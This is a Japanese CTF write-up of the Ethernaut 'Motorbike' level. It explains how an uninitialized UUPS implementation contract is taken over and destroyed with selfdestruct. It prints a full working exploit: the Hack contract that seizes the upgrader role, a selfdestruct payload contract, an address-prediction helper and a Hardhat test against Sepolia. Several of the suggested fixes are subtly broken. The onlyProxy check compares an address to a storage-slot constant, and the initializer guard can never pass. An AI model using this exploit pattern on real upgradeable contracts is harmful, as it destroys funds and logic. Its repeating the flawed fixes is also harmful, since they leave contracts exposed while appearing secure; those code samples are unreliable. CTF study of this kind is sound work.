Skip to content
On this page

Ethernaut CTF レベル「Motorbike」の詳細な技術解説:アップグレード可能プロキシの脆弱性と攻撃手法

はじめに

Ethernautの「Motorbike」レベルは、EIP-1967標準に基づくUUPS(Universal Upgradeable Proxy Standard)アップグレード可能プロキシパターンの実装における重要な脆弱性を探求する高度なスマートコントラクトセキュリティ課題です。この課題では、プロキシコントラクトの実装エンジンを自己破壊(selfdestruct)させ、モーターバイクを完全に使用不能にすることを目的としています。

背景:アップグレード可能コントラクトの基本概念

プロキシパターンの必要性

スマートコントラクトの不変性はブロックチェーンの基本的特性ですが、これが開発上の制約となる場合があります。バグ修正や機能追加のために、アップグレード可能なコントラクトアーキテクチャが考案されました。プロキシパターンは、ロジックとストレージを分離することでこの課題を解決します。

UUPS(Universal Upgradeable Proxy Standard)

UUPSは、アップグレードロジックをプロキシ自体ではなく実装コントラクトに組み込むアップグレード可能プロキシパターンです。これにより、プロキシコントラクトを最小限に保ちながら、より柔軟なアップグレードメカニズムを実現します。

EIP-1967:ストレージスロットの標準化

EIP-1967は、アップグレード可能プロキシで使用される特定のストレージスロットを標準化する提案です。これにより、ストレージの衝突を防ぎ、実装アドレスの安全な保存を保証します。

solidity
// EIP-1967 実装スロットの定義
bytes32 internal constant _IMPLEMENTATION_SLOT = 
    0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

コントラクトアーキテクチャの詳細分析

Motorbikeコントラクト(プロキシ)

Motorbikeコントラクトはプロキシとして機能し、すべての呼び出しを実装コントラクトに委譲します。

solidity
// プロキシのフォールバック関数
fallback() external payable virtual {
    _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}

// 委譲関数
function _delegate(address implementation) internal virtual {
    assembly {
        calldatacopy(0, 0, calldatasize())
        let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
        returndatacopy(0, 0, returndatasize())
        switch result
        case 0 { revert(0, returndatasize()) }
        default { return(0, returndatasize()) }
    }
}

Engineコントラクト(実装)

Engineコントラクトは実際のロジックを実装し、Initializableコントラクトを継承しています。

solidity
contract Engine is Initializable {
    address public upgrader;
    uint256 public horsePower;
    
    function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }
    
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }
}

脆弱性の核心:初期化の欠如

問題の本質

この実装における根本的な脆弱性は、Engineコントラクトのinitialize()関数が誰でも呼び出せる状態にあることです。通常、UUPSパターンでは実装コントラクトの初期化はプロキシ経由でのみ行われるべきですが、この実装ではその保護が不十分です。

solidity
// 誰でも呼び出せるinitialize関数
function initialize() external initializer {
    horsePower = 1000;
    upgrader = msg.sender;  // 攻撃者がupgrader権限を取得可能
}

攻撃シナリオ

  1. 攻撃者は直接Engineコントラクトアドレスに対してinitialize()を呼び出し、upgrader権限を取得
  2. 取得したupgrader権限を使用してupgradeToAndCall()を実行
  3. 悪意のあるコントラクトにアップグレードし、selfdestructを実行

攻撃の詳細な実装

攻撃コントラクトの構造

攻撃は複数の段階に分けて実行されます:

solidity
contract Hack { 
    address private _engine;
    address private _motorbike;
    
    constructor(address _ethernaut, address _level, uint _nonce, address _toR) public {
        // 1. Ethernautインスタンスの作成
        bytes memory cliData = abi.encodeWithSignature("createLevelInstance(address)", _level);
        (bool s0,) = _ethernaut.call(cliData);
        require(s0, "Failed to call Ethernaut::createLevelInstance(address)");
        
        // 2. コントラクトアドレスの計算
        _engine = cAddrRecover(_level, _nonce);
        _motorbike = cAddrRecover(_level, _nonce+1);
        
        // 3. Engineのinitialize()を直接呼び出し
        bytes memory initData = abi.encodeWithSignature("initialize()");
        (bool s1,) = _engine.call(initData);
        require(s1, "Failed to call Engine::initialize()");
        
        // 4. 悪意のあるコントラクトにアップグレードしてselfdestruct実行
        bytes memory toRdata = abi.encodeWithSignature("engineGone()");
        bytes memory upData = abi.encodeWithSignature(
            "upgradeToAndCall(address,bytes)", 
            _toR, 
            toRdata
        );
        (bool s2,) = _engine.call(upData);
        require(s2, "Failed to call Engine::upgradeToAndCall(address,bytes)");
    }
}

自己破壊を行うコントラクト

solidity
contract ToRemove {
    constructor() public {}
    
    function engineGone() external {
        selfdestruct(payable(address(0)));  // コントラクトを破壊
    }
}

コントラクトアドレスの計算

CREATEオペコードを使用してデプロイされたコントラクトのアドレスを予測する関数:

solidity
function cAddrRecover(address _creator, uint256 _nonce) public pure returns (address) {
    if (_nonce == 0x00)      return getAddress(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), _creator, bytes1(0x80))));
    if (_nonce <= 0x7f)      return getAddress(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), _creator, uint8(_nonce))));
    if (_nonce <= 2**8-1)  return getAddress(keccak256(abi.encodePacked(bytes1(0xd7), bytes1(0x94), _creator, bytes1(0x81), uint8(_nonce))));
    if (_nonce <= 2**16-1) return getAddress(keccak256(abi.encodePacked(bytes1(0xd8), bytes1(0x94), _creator, bytes1(0x82), uint16(_nonce))));
    if (_nonce <= 2**24-1) return getAddress(keccak256(abi.encodePacked(bytes1(0xd9), bytes1(0x94), _creator, bytes1(0x83), uint24(_nonce))));
    return getAddress(keccak256(abi.encodePacked(bytes1(0xda), bytes1(0x94), _creator, bytes1(0x84), uint32(_nonce))));
}

テストの実装

Hardhat環境でのテスト実装:

typescript
describe("Motorbike", function () {
  describe("Motorbike testnet online sepolia", function () {
    it("testnet online sepolia Motorbike", async function () {
      const TIMEOUT = 20 * 60 * 1000;
      this.timeout(TIMEOUT);

      const ETHERNAUT = "0x...";
      const LEVEL = "0x...";

      // 現在のnonceを取得
      const nonceLevel = await ethers.provider.getTransactionCount(LEVEL);

      // 自己破壊コントラクトのデプロイ
      const ToRemoveFactory = await ethers.getContractFactory("ToRemove");
      const toRemove = (await ToRemoveFactory.deploy()) as ToRemove;
      await toRemove.waitForDeployment();
      const TR_ADDRESS = await toRemove.getAddress();

      // 攻撃コントラクトのデプロイと実行
      const HackFactory = await ethers.getContractFactory("Hack");
      const hack = (await HackFactory.deploy(
        ETHERNAUT, 
        LEVEL, 
        nonceLevel, 
        TR_ADDRESS
      )) as Hack;
      await hack.waitForDeployment();

      // Engineコントラクトが破壊されたことを確認
      const engineAddress = await hack.cAddrRecover(LEVEL, nonceLevel);
      const EMPTY_CODE = "0x";
      const rtCode = await ethers.provider.getCode(engineAddress);
      expect(rtCode).to.be.equals(EMPTY_CODE);

      // 課題の提出
      const tx = await hack.submitInst(ETHERNAUT);
      await tx.wait();
    });
  });
});

セキュリティ対策とベストプラクティス

1. 初期化の保護

実装コントラクトの初期化関数を適切に保護することが重要です:

solidity
// 修正例:初期化の保護
address private _initializer;

modifier onlyInitializer() {
    require(msg.sender == _initializer, "Not authorized");
    _;
    _initializer = address(0); // 一度だけ実行可能
}

function initialize() external onlyInitializer {
    horsePower = 1000;
    upgrader = msg.sender;
}

2. 実装コントラクトの自己破壊防止

UUPS実装コントラクトは決してselfdestructを含むべきではありません:

solidity
// 安全なUUPS実装の例
abstract contract UUPSUpgradeable {
    // selfdestructを含まない
    function _authorizeUpgrade(address newImplementation) internal virtual;
    
    // アップグレード関数
    function upgradeTo(address newImplementation) external virtual {
        _authorizeUpgrade(newImplementation);
        _upgradeToAndCall(newImplementation, "", false);
    }
}

3. プロキシ経由でのみアクセス可能な制御

重要な関数はプロキシ経由でのみアクセス可能にする:

solidity
modifier onlyProxy() {
    require(address(this) != _IMPLEMENTATION_SLOT, "Function must be called through proxy");
    _;
}

function initialize() external onlyProxy initializer {
    horsePower = 1000;
    upgrader = msg.sender;
}

技術的影響と教訓

スマートコントラクトのライフサイクル管理

この脆弱性は、アップグレード可能コントラクトのライフサイクル管理の重要性を示しています。実装コントラクトは独立したエンティティとして存在し、適切に保護されなければ攻撃の対象となります。

権限分離の原則

アップグレード権限、初期化権限、通常の実行権限を明確に分離することが重要です。単一の権限モデルはセキュリティリスクを高めます。

コントラクトの不変性とのバランス

アップグレード可能性と安全性のバランスを取ることは困難ですが、以下の原則が役立ちます:

  • 最小権限の原則を適用する
  • 重要な操作には多段階の承認を要求する
  • 定期的なセキュリティ監査を実施する

結論

EthernautのMotorbikeレベルは、UUPSアップグレード可能プロキシパターンの実装における一般的な誤りを実践的に学ぶ貴重な機会を提供します。実装コントラクトの不適切な初期化保護が、コントラクト全体の完全性を損なう可能性があることを示しています。

この課題から得られる最も重要な教訓は、アップグレード可能なアーキテクチャを実装する際には、実装コントラクト自体のセキュリティも同等に重要であるということです。プロキシの保護だけでは不十分であり、実装コントラクトの状態遷移とアクセス制御を慎重に設計する必要があります。

スマートコントラクト開発者は、OpenZeppelinなどの監査済みライブラリを使用し、独自のセキュリティメカニズムを実装する前に既存のベストプラクティスを理解することが推奨されます。アップグレード可能コントラクトは強力なツールですが、その力を安全に活用するには深い理解と注意が必要です。

Built with AiAda